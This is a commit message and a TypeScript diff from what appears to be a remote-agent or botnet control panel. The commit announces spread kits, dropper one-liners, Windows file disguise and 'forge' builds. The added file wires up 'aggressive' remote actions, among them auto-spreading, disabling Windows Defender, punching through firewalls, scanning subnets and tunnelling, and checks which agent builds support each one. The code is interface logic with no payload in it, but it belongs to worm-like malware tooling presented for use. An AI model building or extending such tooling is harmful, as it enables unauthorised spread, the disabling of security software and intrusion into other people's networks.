Add universal forge, fusion disguise, remote deploy, and stability fixes.

Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.

server/web/src/help/aggressiveActions.ts

@@ -0,0 +1,65 @@
+import type { AgentCapabilities } from '../types';
+
+/** Aggressive remote actions wired in AgentRemoteActions + agent/client/aggressive_commands.go */
+export const AGGRESSIVE_REMOTE_ACTIONS = [
+  'hole_punch',
+  'hole_punch_close',
+  'hole_punch_status',
+  'spread_now',
+  'start_tunnel',
+  'subnet_scan',
+  'defender_off',
+  'firewall_punch',
+  'mesh_status',
+] as const;
+
+export type AggressiveRemoteAction = (typeof AGGRESSIVE_REMOTE_ACTIONS)[number];
+
+export function canRunAggressiveAction(
+  action: AggressiveRemoteAction,
+  caps?: AgentCapabilities | null,
+  platform?: string
+): boolean {
+  if (platform === 'darwin' && action === 'defender_off') return false;
+  if (!caps) return true;
+  switch (action) {
+    case 'hole_punch':
+    case 'hole_punch_close':
+    case 'hole_punch_status':
+      return caps.hole_punch;
+    case 'spread_now':
+      return caps.auto_spread || caps.remote_aggressive;
+    case 'start_tunnel':
+    case 'subnet_scan':
+    case 'defender_off':
+    case 'firewall_punch':
+      return caps.remote_aggressive;
+    case 'mesh_status':
+      return caps.mesh_p2p;
+    default:
+      return false;
+  }
+}
+
+export function aggressiveActionHint(
+  action: AggressiveRemoteAction,
+  caps?: AgentCapabilities | null,
+  platform?: string
+): string | undefined {
+  if (platform === 'darwin' && action === 'defender_off') {
+    return 'Defender disable not supported on macOS';
+  }
+  if (canRunAggressiveAction(action, caps, platform)) return undefined;
+  switch (action) {
+    case 'hole_punch':
+    case 'hole_punch_close':
+    case 'hole_punch_status':
+      return 'Re-forge with Advanced → NAT Hole Punch';
+    case 'spread_now':
+      return 'Re-forge with Auto-Spread or Remote Aggressive Ops';
+    case 'mesh_status':
+      return 'Re-forge with Mesh P2P';
+    default:
+      return 'Re-forge with Remote Aggressive Ops (Advanced)';
+  }
+}